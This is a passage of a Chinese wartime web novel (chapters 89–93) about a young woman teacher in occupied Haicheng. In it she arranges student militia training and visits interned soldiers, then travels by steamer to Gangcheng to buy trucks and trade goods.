再之后是机器,在一个所有人都休息的深夜,机器被春妮和韩厂长拆解成数份零件,分几批夹在运垃圾的车中,踏上了去温南的路。 稍迟一点,尹老师打听到了罗阿水家乡的情况。 当天因为事起仓促,有几个村民收拾东西跑晚了些,被赶来的倭军轻易搜索出来,问出了真相。为了不被牵连到本村人身上,那几个村民不约而同地,都没有供出罗阿水,将事情全推到了春妮头上。 这也是春妮只在布告栏上看到了她一个人画像的原因。 但倭国人做事哪讲这么多道理?虽然没问出杀人者跟村子的关系,但为了泄愤,他们仍将村子洗劫一空,放了一把火,最后扬长而去。 尹老师赶过去时,有些村民已经离开了村子,或是投靠亲友,或是去了明州等其他地方讨生活。 尹老师问过罗阿水,将剩余的村民们带到了温南。 尹老师说,到温南的第二天,村里有近一半的青壮都跟闻老板上了山。 春妮当时没说什么,转天,垃圾车再到学校拉机器零件时,她将那二十几条从战场捡回来的枪夹了进去。 现在春妮对付夏生也有了新的招数:“你在家乖乖听话,我就让罗阿哥带你去万国商团的营地玩。” 跟江致清见面后的第二天,万管家来了学校一趟,将校长想安排的学生都集中到一起,带去了江氏商行。 至于安排巡护队进万国商团的事……估计万管家没想到,方校长会耍这种小聪明,他几乎将学校身高超过一米四,年纪在十二岁以上的学生都找了过来,让万管家带去登记。 万管家嘴角直抽抽:“这么点小娃娃,你也忍心让他们去那种地方打枪?组建个童子军不好吗?” “我们有童子军,”方校长说:“可我们每回要去近郊拉练,总会被倭国人拦下来,只能提着红缨枪在学校附近转悠,那还是什么‘军’?” “你是把我们万国商团的营地当童子军营地了?”万管家不悦。 方校长忙道:“岂敢,这些孩子进了营地,该怎么训练怎么训练,该怎么出任务怎么出任务,万管家只管将他们当个全乎人使唤。” “你跟我说没用,我又不负责万国商团。”万管家说 :“我只能给你们登个记,拿饷钱就不用想了。” 方校长知道自己这事有些不厚道,连连赔笑:“应该的应该的,我们只想有个场子训练,别的资金什么的,咱们自己解决。” 万管家这才满意。 据说租界内所有适龄西人都来这里作为预备兵员登记过,但真正按规定来营地训练的,十不存一。 登记归登记,因为这个营地本来就是民间武装组织,管理相对松散,在没有任务时,可以自由接活,并不影响学生们回到学校执勤。 万国营华国队的队长叫蔡正中,看见这群小萝卜头,嫌弃得不要不要的,整个商团还没有他们学校来的一半人多。但人是万管家带来的,人家还愿意自带干粮,也只能捏着鼻子收下。 他说,为了确保老团员的利益,要求这些学生必须分成几个班次,每个班次不超过二十人,不准同时占用场地,弓箭弹药费等损耗自行支付。这正好符合学校的利益,可以分班训练,不耽误巡护工作,还让每个学生如愿摸到了枪,最后一条让他们振奋得可以忽视一切鄙薄和白眼。 得知春妮要离开港城一段时间,学生们都有些慌了:“小顾老师,你走了,我们怎么办?” “是啊,你不在,蔡队长肯定又要带着人来欺负我们。” 春妮转向罗阿水:“有罗队长在,你们怕什么?他们没事来欺负你们一群小孩干什么?嫌上次我这个小丫头给的教训不够?” 学生们嘻嘻哈哈笑了:学生们初到训练营,有些以前的老队员看他们来了这么多人,颇为不服气,曾经挑衅过一次。后来春妮索性将几个跳得最厉害的约到一起比了一次武,反正后来就没下文了。 不想罗队长也有自己担心的事:“你在的时候,他们都不敢乱来。你要是走了,我不知道我能不能管住他们。” 罗阿水本事没得说,可他话太少,为人忠厚热心,少了点威严,关键时候的确有点镇不住场子。 这次去港城,春妮打算将送到温南的车配件一次寻齐,不能确定归期,就要将很多事先考虑周全。 春妮思索片刻:“那这样,你要是觉得队里有了什么不好的苗头,我给你推荐个人,你带着学生们去寻他,请他来帮忙你管。” “谁啊?” “你说呢?还能有谁?” 罗阿水一怔,那张黝黑的脸上半是抗拒,半是迟疑:“你是说他?” 第90章 090 可怜 华国队位于英租界吴江路西段, 因为是后加入万国商团队,财务及人事均独立于真正的万国商团队主会所。吴江路是海城的中心地带,寸土寸金, 因而总队训练营只附含了一座固定靶射击场, 像跑马场,射箭场和移动靶场等需要大量场地训练的体育场所,包括万国商团的战俘营,均设立在英租界边缘的西山路。 万国商团队原本没有战俘营,那里面的战俘都是一年多前从海城会战战场上撤退,被租界迫于倭国人压力,强行扣押下来的政府军。 春妮跟罗阿水说的那个人, 正是现在被关在战俘营中的领头人白云铠。 战争刚开始那会儿,春妮母亲和祖母都还在世。 因为渣爹在海城, 当时春妮家也曾密切关注过这场战役。家里每次去县城赶集,必会买几份报纸来看,也会托时常往返县城的村民帮忙带报纸回家,她对“白云铠”这个名字的印象亦是深刻无比。 只因她母亲当年听她念这段新闻时, 曾感慨过这些英雄们缴械之后,定必是“肉包子打狗”, 回不来了。春妮她娘很少点评时事,关于海城会战唯一的这一句让她记到现在。 白云铠在战前是政府军某部队营长,海城会战后期, 他跟所部战友负责掩护大部队撤退断后。 后来果然如春妮妈所预料的那样,因为双城政府的指示, 为了向英美等国表示友好,争取国际舆论同情,从英租界撤退前, 他们先缴了械,不想英方当局出尔反尔,并没有如约释放他们,反将这几百人关押在了西山路战俘营。 被关在战俘营这两年多来,很多海城人因为同情敬佩这些战士,曾经多次到战俘营探望他们,这其中包括了大量学生。 春妮战后一年多才到海城,她领着学生们去万国商团总营队做常规训练,碰见去探望白云铠的学生,才知道这些曾在会战之时引起巨大轰动的战士们被囚禁的地点竟离他们这么近。 如今她娘一语成谶,出于某种说不清的心理,得知此事后,春妮领着几个学生第一时间去探望过白云铠。 其他学生知道后,因为好奇这些悲情英雄,又惧怕营地里那些凶神恶煞的白俄营兵,也求着春妮带他们进去探望过白云铠。 在营里进出几次,春妮和学生们同白云铠及战俘营中的战士渐渐熟悉起来,得知了他们更多生活上的细节。 这些战俘们时常遭受监管们的打骂,却为了能够升起国旗,坚持跟监管和英方斗争,最终获得胜利,得到了一面国旗,但升上去没有半天,就被强行取下来收走。 此事当年被报导出来,轰动一时。 方校长还曾在每周大会上提起此事,引得学生们义愤填膺,感同身受,很多学生为此气得当场嚎啕大哭。 但那已经是常先生他们撤退到内地之前的事。 自从校方改名定下“莫谈国事”的隐形校规之后,有些学生的思想的确不再像先前那么激进,可校风也是真的没有那时候那样积极奋发了。如严广福这样的人,在改名之前的学校,是不可想象的。 最近,校长被严广福的事触动,严查下来,发现学校像他这样的人竟然还有好些个。 校长为此十分忧虑,学校里的孩子本来很多都是流民出身,在街面上讨生活,沾上些不良习气不是什么新鲜事。虽然迫于环境缘故,校方不再□□国教育,不占用课堂时间教导学生们仇恨侵略者,不再鼓励上战场奋勇杀敌,但养出于社会有害无益的人渣,这绝对是校长和老师们无法容忍的。 得知春妮领着学生去探望过白云铠,学生们被其精神感召,不止自动自发每天去训练,还克服困难,想出了更多学习训练方法之后,在校长的暗示下,老师们也纷纷自发组织学生去探望过他们。 整个学校,大概只有罗阿水没去过战俘营。 至于罗阿水不去的理由,他曾跟春妮说过一回:“不打倭国人被倭国人杀,可打了倭国人,还被自己人坑得坐牢。我闹不清什么道理,省得再去看了心烦。” 在来海城之前,罗阿水的生活异常单纯,在他的直线逻辑里,同样打了倭国人的白云铠等战俘,跟他就是一方的。他想不通上面人为什么明明已经抛弃了这些战士,又一边利用他们。 如今春妮即将远行,这个战俘营,罗阿水不想去也不行了。 临行前,春妮曾跟方校长开过一次会。 睡美人凉席卖爆整个海城,如今学校工厂成年工人的人手不足。校方的意思,战俘营那些俘虏们反正成天没事可干,不如由他们出面跟商团商量,征用部分俘虏作为临时工,采用计件付款的方式支付报酬。 能坐在会议室开会的人都明白,校方提出这个计划的真实原因。 白云铠他们在战俘营的待遇很差,吃不饱饭是家常便饭,以至于有一批俘虏已经病死在里面。大家都知道,即使他们支付报酬,那些报酬绝大部分都落不到战俘们手中,战俘们恐怕享受不到一分钱的实惠。可假如俘虏们能够为那些监管创造利润,为了自己利益着想,想必他们也不会再那样容易被折磨被抛弃。 校方商讨的所谓“支付报酬”压根就是为了填监管嘴巴的幌子,他们真正的目的,是用包饭的名义,至少让他们吃饱肚子,偶尔能买得起药,不至于因为伤病倒在狱中。 这件事,春妮因 为急着出差并没有参与,但在离开海城之前的一天,她还是因为另一件事差点被打乱了步调。 秦惠君死了。 接到王老六的电话时,春妮有一瞬间的恍惚。 七年前那个站在楼梯上,泼妇一样对她们母女歇斯底里,让她们滚出自己房子的女人,她像褪色的相片一样,春妮怎么也回忆不起她当年的模样。 她只记得的,是过年时那个面色惨白,形如骷髅的秦惠君。 其实,秦惠君到底是个怎样的人,跟她们母女也并不相干。她的记忆,是留给那些重要的人,留给那些美好的事的。 就像当年隔壁的李太太同春妮妈说,姓秦的家里早就没了人,她生了顾先生的孩子,不比姓秦的差,就是为了孩子,也不能让姓秦的好过。 春妮妈也只是笑笑:“都是女人,斗来斗去的,全便宜了男人,有什么意思。” 李太太的尖叫很有特色:“什么叫便宜男人?顾太太,那可是万贯家财!” 春妮至今记得妈妈的神情,记得她低声的喟叹:“秦小姐,也是个可怜人。” 彼时,春妮想不明白,秦惠君出生在富商家庭,从没操心过吃饭穿衣,一辈子不知道饿肚子是什么滋味,她可怜在哪。 要说可怜,被抢了丈夫,还要留在乡下伺候婆婆的妈妈不是更可怜?至于秦惠君说渣爹骗了她……她这么大岁数了,相信一个三十岁的大男人没成过婚,可能吗? 王老六说,因为阿梅拿不出钱给秦惠君入土,房东报了警察局,警察们将她用白布蒙起来,不知道抬到哪去了。 她死的这样凄凉,也是可怜的吧。 春妮赶到鸭毛街时,秦惠君房间已经人去房空,她的房东蹲在屋里骂骂咧咧地在翻拣东西:“死了还欠租金,烂发比死晦气。” 看见春妮戴着口罩进来,警惕地站起来:“你是谁?” 春妮迟疑了一下:“你这房子里的人——” “你认识她?你是她什么人?”房东眼睛一亮。 春妮:“……” 她灵机一动,问道:“我是来问问,房子出不出租的。” “这样啊……”房东的笑容淡下来:“出租,当然出租了,你想租这间?” “我先看看。”春妮挑剔道:“你这房里都是些什么东西,乱七八糟的。” “这是前任房客留下来的,我收拾收拾就能用,不会碍事。” “哦,”春妮作出随意看看的模样,在一堆破字纸中快速翻过,拿出一个笔记本,随手翻翻:“你上任房客还是个会写字的?” “谁知道呢,那个痨病——”房东面色一慌,连忙冲春妮笑了笑:“我,我是说——” “痨病?!”春妮沉下脸来,像躲瘟神一样跑出门去,大骂道:“痨病鬼的房间你也租给别人,良心坏透了!” “小顾姐?”王老六等在街口,看见春妮出门,急忙迎上去。 “嗯。” 春妮打开笔记本,随手翻看着,听王老六问:“您还有什么让我做吗?” “还有什么……”春妮目光落在某一页的图案上,随口道:“你找个人,用其他名义,一会儿去把她房间里的东西都收过来。” “唉,”王老六答应着,跟着看到了笔记本上的图案,“咦”了一声:“这个图案,好像有点熟悉啊。” “你见过?”春妮把笔记本凑近王老六。 笔记本上用钢笔绘制着一个对称的图形,应该是秦惠君手绘。但不知是不是她病中没有力气,还是她画功不足,这个图案既像一对展翼而飞的蝴蝶,又有点像某个不知名的昆虫翅膀,显得极为怪异。 王老六挠着头,冥思苦想:“我好像是见过,但实在是想不起来在哪见过了。” “想不起来,慢慢再想。”春妮合上笔记本。 临近出发,她的事也多:“对了,你一会儿见到那个叫阿梅的娘姨,先帮她找个地方安顿下来,这些钱……” “不用不用,随便找个住处,要不了那么些钱,”王老六连连推拒,跟春妮笑道:“小顾姐对这娘姨真好,前后给她张罗这么些事情。” 春妮把钱塞给他:“收着吧,我这次出门,还不知道什么时候回来。你尽量多照顾她一些,若是她生了病,给她找个好点的医生。” 阿梅这几个月一直在伺候秦惠君,偶尔接些洗衣妇的活计,也只能勉强维生。若不是有春妮暗中接济,估计早就连房租都付不起了。 像阿梅那样的人,若是失去了庇佑,只怕很快会活不下去。 这世上的阿梅们太多,她救不了所有,能帮一个,是一个吧。 第二卷.完 90-100 第91章 091 开火 三天后 随着汽笛一声悠悠长鸣, 轮船缓缓开始离岸行驶。 春妮站在甲板上,眺望远去的城市和岸上的人。 这次去港城是上午九点钟的船票,在夏生和夏风萍的坚持下, 包括方校长一家人在内, 都坐上上午的渡江轮渡,亲自到了吴江口来送她。 直到远处的海城在视线中彻底变成一个黑点,消失在地平线的那一头,春妮回过头来,耳畔仿佛还能听见夏生一板一眼的叮嘱:“姐姐早点回来,记得每天晚上早点回家。办完事赶紧回来,别在外边乱逛不回家, 知道不知道?” 春妮唇角含笑:这小子,也不知道跟谁学的这副腔调, 竟管起了他姐姐。说得她像哪个在外边有了新欢,不舍得回家的渣男似的。 她乘坐的这艘船是英国太古船业的特快专轮,沿途并不停靠,蒸汽机白汽吞吐之间, 船开得飞快,直抵港城。 太古船业是英商轮船业巨子, 自上个世纪开埠以来,最早一批随着英国人的军舰一同进驻华国。 因为同有英属殖民地,港城和海城的联系一直相当紧密, 这条航线被开发得很成熟。在华国经营近百年,太古底蕴非同小可。也只有他们, 能够在方校长代春妮买船票时,底气十足地说出:“一年来,在这条线路上, 我们公司运送的旅客几百万人次,没有出现过一次意外,我们太古肮业是您安全的保证。” 的确,太古航业是英国人的公司,就算真的在打仗,开仗的双方也要卖这个面子给他们让路。当然,这只是个比喻,船舶公司不可能冒着被误伤的风险去验证自己国家的强大。 就凭这句话,方校长一咬牙,多花五十块钱,硬是让春妮享受了一回豪华海轮的特快专线。 上船前,春妮已经得到通知,顺利的话,明天上午十点钟就可以抵达港城。 此时船刚离港,留在甲板上,向亲友们挥手道别的乘客们陆陆续续向船舱里走去。 春妮在甲板上多等了一会儿,看到人群都离开得差不多,也提起自己的行李箱,按照船上的指示标志,找到了自己的房间。 这轮特快专线跟铁路客运一样,分为三个等级。三等舱听说是十二人一间的上下铺,方校长考虑到她身上带着一大笔钱,给春妮订的是两人一间的二等舱。 她进门的时候,房间里已经有了一个戴卡其色凉帽,穿着蓝白格子裙的女孩子。 女孩子身材有些丰腴,长得很漂亮,她一双鹿儿般的眼睛转过来,对春妮腼腆地笑了笑:“你也是这间房的?” 春妮点点头,将行李箱放到床头立柜里锁起来。 而这时,女孩已经取下凉帽,打开随身带的大皮箱,取出里面的小鱼干,蚕豆,萝卜干,糖炒栗子,水果软糖,奶油面包…… 见春妮盯着桌子上的零食看,她又不好意思地笑了笑 :“都是我姆妈,怕我在船上饿着,非让我都带上。你不介意我吃吧?” 春妮摇了摇头,打开一早拿出来的倭语书。她原本就不是个多话的性子,一个人待着更自在。 女孩子不再说话,拿出一颗栗子,嘎吱嗄吱地掰起来。 不一会儿,栗子特有的甜香味飘入春妮的鼻子。 春妮吸了吸鼻子,她好像早上也没吃什么……听见女孩子“哎呀”一声:“我都忘了问你,你要不要也来一点?” 见春妮看了一眼她手边的栗子,笑着抓了一把塞进她手里:“你吃吧,反正我也吃不完。” 春妮冷不防被塞满手,有些不知所措。 这女孩子没再看她,拍拍手,又抓起一只栗子啃得香甜。 春妮问她:“你一个人去港城?” “也不是,我家还有个小大姐没买到二等舱的票,在三等舱。我姑妈在港城的码头接我,我以前每年都去她家过寒暑假,对这条路很熟的。”说着,她又抓了把奶糖:“这个奶糖好吃,你别跟我客气。” 春妮不是忸怩的人,确定眼前这个女孩子没什么威胁之后,她也取出自己带的盐水蛤蜊等小零食,请她一起吃。 这女孩一点也不认生:“这蛤蜊真鲜,这么热的天,你怎么保存的?哇,还有卤鸡脚,太好了,这是我的最爱!” 吃着零食,两个女孩子渐渐聊开。春妮得知,这个女孩子姓唐,叫唐宝芸,是法租界一所教会学校中五的女学生,前面已经说过,这次她是去港城姑妈度假。 唐宝芸说,她每年都会乘坐好几次这班船去港城,有时是去度假,有时则是去购物。战争开始以后,她家里的亲戚大部分都搬到了港城去住。以前她去港城,爸妈还会送送她,现在到了时间,她自己收拾好行李,家里人开车送她到码头就行了。 战争开始初期,的确有一些海城人到港城避难,但也更多的人嫌弃港城不够发达,见倭国人真的没有进犯租界,因而留了下来。不过,随着物资的日渐匮乏,很多不愿意到双城,去挨倭国人轰炸的海城富人,又一拨一拨地开始想办法往港城跑。 像唐宝芸这样频繁往返两地的,倒是少见。 她问春妮的情况,得知她是一间学校的体育□□以后,直说不可思议,还说以后有机会一定去英租界看看他们学校。 就这么说说聊聊的,主要是唐宝芸在说,春妮听着,时间到了下午两点钟,唐宝芸打了个呵欠:“我有点困了,得睡会儿觉。” 春妮示意她自便。 她拉开单人床的毯子,生怕失礼似的,解释了一句:“我每天到了一点钟得午睡一会儿的,不然下午没精神。” 唐宝芸入睡之后,春妮拿出她的倭语书继续翻看。 太古公司果然财大气粗,连他们二等舱的舱房都安装的有冷气机。在这样适宜的温度里,房间脚下的地板随海水有节奏地晃动着,不知过了多久,春妮也来了睡意。 因为身处在陌生地方,春妮这一觉醒醒睡睡,很不安稳。但这两天为了港城之行,她做了很多事,身体急需休息,她只能保持着睡睡醒醒的状态,尽量让自己舒服一些。 不知过了多久,外边“轰”的一声—— 春妮猛地从床上坐起来! “怎么了?是什么声音?”唐宝芸半坐在地上,惊慌地问。 春妮揉着额角,她的头因为刚刚的惊醒,现在还隐隐作痛。 她摇摇头,没等说话,“轰”的又是一声,船身有了轻微的晃动。 “是炮火声。”这下,春妮确定了。 “什么?哪来的炮火?”唐宝芸惊慌失措,跳起来去开门。 春妮拦住她:“不要慌,你听声音,开火的地方离我们很远。你不要乱跑。” “你怎么知道?”唐宝芸急得直跺脚:“你快让开,这里不能再待下去了。” “咱们现在在船上,”春妮提醒她:“你能躲到哪去?” “那——” 春妮让她先坐下:“一会儿轮船肯定会来人说明情况,现在去哪里都没有房间安全。” “一会儿是多长一会儿?”唐宝芸抓住春妮的手,快哭了出来。 春妮用另一只手给她倒了杯茶:“先喝口茶,会没事的。” 唐宝芸的手抖得厉害:“不是说最近很太平吗?是哪里又打起来了?” 春妮将百页窗拨开一条小缝:“不知道,我看岸上好像很多山。” “山?难道是肃州?还是温南?” 唐宝芸的猜测让春妮的心紧了紧:“你怎么会猜这两个地方?” 唐宝芸点了点手腕上的表盘:“现在是下午四点二十三分,以前这个时间,就是到了温南,或者再远一点,治平?这得看风速,我不知道——” “轰”! 又是一声炮响,只是这一声很明显,已经离得有些远了。 唐宝芸呼了口气:“好像真的不在附近。密斯顾?你看到什么了吗?” “太远了,什么都看不到。”春妮放下百叶窗,如果只有她一个人在这里,她大可以拿出望远镜看个清楚。可现在她只能跟唐宝芸一样,坐在船舱里,焦灼地等待船方通报。 好在船方没有让他们等待多久,几分钟后,有推着小车的服务生来敲门:“两位小姐,不好意思。我们已经确认过,刚才你们听到的响声是路过的温南县正在遭受炮轰,不过我们的船离炮轰地点至少有十海里,并不会受到影响,让你们受惊了。我们为你们每人准备了一瓶桔子汽水聊表歉意,希望你们的旅途不要受到影响。” “谁缺你那一瓶汽水喝!我就问你,后面还会有危险吗?”唐宝芸害怕。 春妮则问:“温南情况怎么样?” “按照我们的经验,不会再有危险,小姐们请安心。”服务生说。 “你们的经验?你的意思,是温南经常遭受炮轰?”春妮问道。 服务生回答这个问题已经答出了经验:“也不是很经常,我经历的不多,上个月大概一两次吧。您还有其他事吗?” 一个月都有一两次……春妮想起刚到温南的舒老师,原本有些放松的心情顿时重新绷了起来:给温南买车的事,下船之后立刻就去办! 唐宝芸挥了挥手,门轻悄悄地,被重新关上。 “还好港城有英国人在,不会打仗。”唐宝芸吐出一口浊气:“不然,我们的日子可没法过了。” 两天后的下午,轮船顺利抵达港城。 第92章 092 重头戏 因为下订一个多月以后, 车行才通知工厂自行取货,春妮抵达港城时,已经快到八月中旬, 都过了立秋。 然而, 这座位于华国最南端的小岛城市一点也没受秋季台风的影响降低温度,只是走从甲板到码头出口这短短不到五百米的路,春妮的汗水就打湿了衣背。 冷气机真是个好东西啊,才用了一晚上,就舍不得离开它了…… 春妮揩着汗越过穿制服的海关工作人员时,旁边的唐宝芸“啊”地跳起来:“表哥,我在这里。” 一名打着发蜡, 穿白色短衬衫的青年扭头过来,让春妮顺便也看到了他旁边那位举着“顾春妮女士”纸牌的年轻人。 唐宝芸匆匆说了句:“春妮, 记得到半山找我来玩。”招呼一声旁边提行李的小大姐,开心地冲了过去。 昨天那场意外让唐宝芸受了些惊吓,她被吓得睡不着觉,拉着春妮说了半晚上的话。这个意外让两个小女孩之间的友谊急速升温, 下船前,在唐宝芸的要求下, 春妮交换了双方的联络方式。 春妮目送她跟迎过来的男青年行了个西式的贴面礼,走到那位举纸牌的年轻人面前。 年轻人伸长脖子,往旁边站了站:“这位小姐, 麻烦请让一让。” 春妮指了指纸牌上的名字:“你不是找我吗?” 年轻人目瞪口呆:“你就是顾春妮女士?这不可能吧?” “要我给你看证件吗?”春妮收起笑容。 “不……不用,”年轻人有点 慌乱:“我只是没想到您, 你这么年轻,真想不到啊!” 心里偷偷擦着冷汗:这个小姑娘,呃, 这位女士板起脸来还真有点吓人呢。 他现在真的有点信了,这位是顾春妮女士本尊,可她有多大呢?十五岁?二十岁? 他自以为隐晦地打量着春妮,啧啧道:“您看上去可真年轻,我以为顾女士至少有三十岁以上了。” 春妮知道自己的年龄是劣势,再加上自己是女孩子,如果有丁点可能,来买车的人也不会是她。可没有办法,这件事,只有春妮亲自到场,才可以百分百确保不出错。 这个年代,买一台车比买房子还难。卡车并不比豪华轿车便宜,因为其实用性,反而更容易被军方盯上,收缴征为军用。 上车之前,她让这个接站的人帮她买了几份报纸,确认每一份报纸都没有温南的消息,这才长出了一口气。这种时候,不上报纸绝对是好事。 春妮买车的车行叫怡兴车行,是英国人的产业。总部位于港城麦尔逊大道,是间兼营汽车配件和各种汽车的大型车行。 春妮本来想选一辆德国卡车给公司配备,但车行的总经理关富华说,最近一段时间,不知是什么原因,德国车开始限制出口,全港车行现有的德国车屈指可数,卡车更是难觅其踪。 春妮只好将车行现在经营的卡车类别都一一看过,并亲自上手开过,最终选定了一款沃尔沃卡车。 付款时,春妮以“再订至少一辆”为条件,再度要求车行帮忙送货,关富华叫苦连天:“真的不行啊,靓女……密斯罗。你们要是双城,或是南城的货,我都能想办法送,可海城不行啊,倭国人封锁太厉害了,有钱我们不想赚?实在没办法,卡车不上牌照,不是明晃晃告诉别人,这是无主之物吗?这一路运过去,神仙都难忍住不动手。” 春妮:“……所以你卖我车的时候,已经认为我不可能把车运到地方了?” “这……顾小姐跟我们不同,顾小姐千里走单骑,这么能干,你一定有办法。”关富华干笑两声。 春妮道:“那本地有什么靠谱点的物流,这你总能推荐两家吧?” “这当然没问题。不过,”关富华小心翼翼道:“现在兵荒马乱的,我认识的所有物流,条件最优厚的,也只保价不保物,顾小姐要做好心理准备。” “无妨,”春妮道:“你先推荐,我慢慢选。” 买完卡车,接下来的才是重头戏。 春妮来之前,学校就跟她说好,她只负责探路,方便再有第二次,其他人好接手。她的空间空余的部分勉强可以运一辆车,万一以后还有呢?总不能让她一趟趟来回跑吧? 方校长也曾交代过她,既然来了,顺便调查调查港城的市场。如果有可能,希望凉席在港城也有一席之地。 这个年代因为华国油荒,石油非常贵,木炭相对便宜,一般卡车买回来之后不会直接投入使用,而是另外加装一个代燃炉和储水器,以木炭为主要能源,利用储水器滴下的水使木炭不完全燃烧,产生的一氧化碳作为能源。海城油料这么难买,工厂的汽车自然也要经过改造才能使用。没有经过买家的同意和试用,车行肯定不敢擅作改变,这也是春妮不得不来港城一趟的原因。 不过,春妮作了两手准备,她保留了汽车的发动机,让车行的师父将代燃炉和储水器固定在卡车的外壁,不破坏原本的发动装置,争取方便时用炭,不方便时用油。 至于她为温南采购的汽车,因为温南都是山道,经过跟闻老板他们的沟通,春妮决定放弃方向盘的设计,改为带车把的机动三轮车。为了减轻车身重量,车斗不封闭,等车子送到温南后,由他们自行加装车棚。当然,木炭发动机也是必须要装上去的。 春妮寥寥两句话说得简单,实际从车子的脚踏,到轮胎,到发动机甚至是方向盘,使每一个零件得到完美匹配,难度相当大。现在华国机械制造都是万国牌,根本没有统一标配的零件,春妮在车行里蹲了两天,大部分都在看车行的师父们用焊枪和电锯徒手改装各种配件。 而车子最重要的轮胎和发动机,车行是做不出来的,只能春妮跟他们商量出个方案,向欧洲和东南亚订制。这一条,在之前的一个月中,玩具厂和车行这边早就沟通过无数遍了,春妮到时,新鲜到货的轮胎和发动机已经先一步到了车行,只等其他部件完成之后组装。 至于最占地方的车斗,春妮压根没打算交给港城。上回她找皇协军买的废料还有一大堆,她自己就能改装之后安上。一切只等车子最重要的部分做出来,她在港城随便找个地方安上去,车子能够成功开动,她就可以回海城了。 怡兴车行说过,完成所有的工作,最快也要一个星期。 春妮在这方面是完全的外行,索性不再将时间都浪费在到处是汽油味的车行。到了第三天,春妮跟他们打声招呼,打算到其他地方逛逛。 因为此行还带着其他任务,春妮现在住的酒店同样号称是四星级豪华酒店,也在麦尔逊大道。从酒店大堂出门,步行不到十分钟,就到了全港城最繁华的商业区。 这个年代的港城只是华国南疆边陲一个刚刚有点发展的新兴城市,不要说跟海城比,就是跟南城,羊城都没得比。 英国人占领此地之初,也只是将其当作一个舰船补给的港口,并没有用心经营,而城市里的奢侈品行业明显也没有形成规模。往往一栋高楼走出来,往巷道里稍微走一走,周围全部都是木质小层小阁楼,阁楼里外左右,横七竖八搭满了晾衣竿和凉棚。这些小阁楼一般分上下两层,上面住着店主,下面的店铺有卖烟酒糖茶的,也有裁衣做鞋,卖五金渔具的,总之百行百业,什么都有。 春妮在一间卖布料的小店外还看见了一双陈列在外的丝袜。 这个年代的丝袜可是稀罕物,在海城,如今一双丝袜最高要卖到五块钱一双,商场还经常断货。这间小店居然有卖,让春妮大为惊喜。 上次从温南贩回来的药材让春妮大赚一笔,虽然老师们都不知道,但她给夏风萍打电话,让她到药店比价不是秘密,大伙都知道了,不是所有地方的物价像海城一样,高到让人咂舌。 这回知道她要出门,学校老师们都拿出私房钱,请她帮忙带些好转手的外国货。这其中,轻便好带的丝袜是上上首选。 学校现在赚了钱,老师们的境遇却没有多大转变。因为总有更重要的事要做,盖教室,买机器,搬工厂,出万国商团的会费,给学生加餐,还有买弹药…… 春妮去问时,布店里已经有了其他访客。这名访客跟春妮一样,都不是港城本地人。 春妮站在旁边听他跟老板比划半天,才得知他们的丝袜不单卖,一块半钱一双,买一双丝袜必须搭配买一匹布,否则宁愿不卖。 捆绑销售,这老板也够精的,可别人也不傻。这家店卖的布很普通,价格却不便宜。她倒手丝袜的赚头只怕要全贴进布里,一点都不划算。而春妮来自全华国纺织业最发达的海城,吃多了撑的,为了卖丝袜去买布。 这位访客也明白这道理,讲价讲到气急败坏,奈何老板始终不松口,他只能擦着汗悻悻离开。 见老板的目光投到春妮身上,她连忙退出了店铺。 “这位小阿姐,你也是想贩丝袜卖?”那个之前在布店跟老板讲价的客人还没走,见春妮出门,跟上了她。 “我随便看看。”春妮说。 这人像看不到她的推拒之意,笑着同春妮道:“人人都知道丝袜好卖,货不好弄啊,小阿姐。我知道有个地方有货,小阿姐有没有兴趣去看看?” 春妮:“……你知道别的地方有,你怎么还在这讲价?” 那人笑道:“这不是货比三家嘛,怎么样?小阿姐去不去?” 春妮绕过他:“不去。” 那人连忙又追上去:“小阿姐别急 着拒绝我,你不听听是什么地方吗?” “现在丝袜那么难买,能弄到货的,要么有大本事,要么货源说不清。有大本事的人看不上我这仨瓜俩枣,说不清货源的,我去趟那浑水干什么?” 那人没被她臊走,竟竖起大拇指:“我果然没看错,小阿姐眼睛真是利。但我介绍的地方你放心,真的不会有麻烦的。你也不用再往前走,这条街上卖丝袜的人都是这样卖,没得赚的。” “不会有麻烦,你一个人去,还少了个竞争对手,不是很好?” 那人迟疑了一下,“小阿姐,我跟你说实话吧。那边的东西是真东西,有问题的,是进关的渠道。但现在世面上这么多货,有几个是通过正规手续进关的?我是看小阿姐身体高拔,目光有神,一看就是有本事的人,才想邀请你一道发财。小阿姐,那边一双丝袜进货价才五毛钱一双,你真的一点都不考虑?” 这一年多来,春妮除了累了点,吃得好喝得好,的确长高了不少,但夸她有本事?这人敢看着她的娃娃脸再说一遍吗? 第93章 093 物资 在路上因为一个莫名其妙的人耽误了一点时间, 并没有影响春妮的兴致。 她上次从温南回来,将药材出清之后,作了一次大盘点。除去那十来天在明州大山给三人疗伤所用的部分, 普通药材全部出清, 一共赚了两千多块,反而像铁皮石斛这样的名贵药材还剩两支。不过这样的名贵药材只要保存得当,在任何时候,都跟黄金白银一样,是保值的东西,她并不急着全卖出去。 反而是海城的钱币市场一直在贬值,她卖出去的那两千多块钱只放了一个月, 物价又涨了不少。春妮不得不再折腾一遍,寻找门路将手里的现钱都换成小黄鱼。 手里有钱, 心里不慌,春妮逛得很从容。只要在商店橱窗外看到像洋烟,洋酒,奶粉等等这些海城不好买到, 几乎可以当钱币交换的好东西,她都会进去问问, 先了解一下行情。 就像之前那个人说的那样,港城的商业市场现在很混乱。刚刚才问的十块一罐的奶粉,可能转个角, 就只卖八块。至于真假,反正春妮是看不出来的。 但不管十块还是八块, 都比海城便宜多了。 但春妮知道,这不是最合适的价钱。其他人跟她不一样,那些人跑单帮, 必须考虑运输和储存成本,如果按照港城市面上的叫价,他们抛却生死夹带进海城的物资赚头不够,不会有那么多人前赴后继地去冒着杀头的风险做。 倭国人答应开放部分水路,也只允许租界进米进面,保证里面的人有口饭吃,不会造反。这些奢侈品,反而卡得很严。 最紧俏的物资,往往只有在倭国人开的商店里才可能找到。 那些守在关口的倭国军人像饿狗护食似的,会仔细搜出过客们任何夹带的可能。 春妮住的里弄里,这些日子时常有突然暴富的邻居们搬离此地,找到更好的住处。她附近的高级西餐厅也时常爆满,甚至还排起了长队。上个月夏风萍发了工资,想跟朱先生去吃炸猪排,还排了一个多小时的队。 据她说,在店里吃饭的人穿得富贵的不多,而且很多人都是领着全家人,菜上桌之后,像八百辈子没吃过好东西似的,等不及菜品上全,上一道吃一道,连盘子几乎都要舔干净。两人猜测,这些吃饭的人应当就是干“那种事”发的财。 “那种事”当然就是搞走|私了。 住在一起大半年,都是知根知底的。凭那些邻居本职的收入再翻十倍,他们也不可能住得起好房子,吃得起高档餐馆。由此可见,他们在黑夜里悄悄做起来的生意绝对是她想象不到的暴利。 